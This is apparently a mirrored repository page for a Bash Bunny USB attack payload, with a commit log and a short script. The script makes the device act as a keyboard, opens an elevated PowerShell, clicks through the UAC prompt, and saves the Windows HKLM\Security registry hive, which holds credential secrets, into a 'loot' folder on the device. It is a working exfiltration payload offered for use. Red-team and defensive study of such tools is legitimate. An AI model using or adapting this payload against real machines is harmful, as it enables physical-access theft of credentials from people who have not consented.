mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
3904f165d9
* Add files via upload * Update readme.md * Update payload.txt * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Update readme.md * Add files via upload * Update readme.md * Update readme.md * Add Payload WIN_PoSH_HKU_RegBackUp * Update readme.md * Update payload.txt * Change for admin shell * Update readme.md * Update payload.txt * Update payload.txt * Update readme.md * Added payload WIN_PoSH_SaveSecurityHive Added new payload to exfiltration that saves the HKLM security hive to the bunny
23 lines
591 B
Plaintext
23 lines
591 B
Plaintext
# Title: Save security hive
|
|
# Description: Uses PowerShell, to run Reg.exe to save security hive to the bunny.
|
|
# Author: Cribbit
|
|
# Version: 1.0
|
|
# Category: Exfiltration
|
|
# Target: Windows 10 Creators Update (Powershell)
|
|
# Attackmodes: HID & STORAGE
|
|
# Props: Ben Clark (RTFM)
|
|
|
|
LED SETUP
|
|
ATTACKMODE HID STORAGE
|
|
|
|
LED ATTACK
|
|
Q DELAY 200
|
|
Q GUI x
|
|
Q STRING a
|
|
sleep 2
|
|
Q ALT y
|
|
sleep 2
|
|
Q STRING "Reg SAVE HKLM\Security ((gwmi win32_volume -f 'label=''BashBunny''').Name+'loot\\'+\$env:computername+'_security.hive') /y"
|
|
Q ENTER
|
|
LED FINISH
|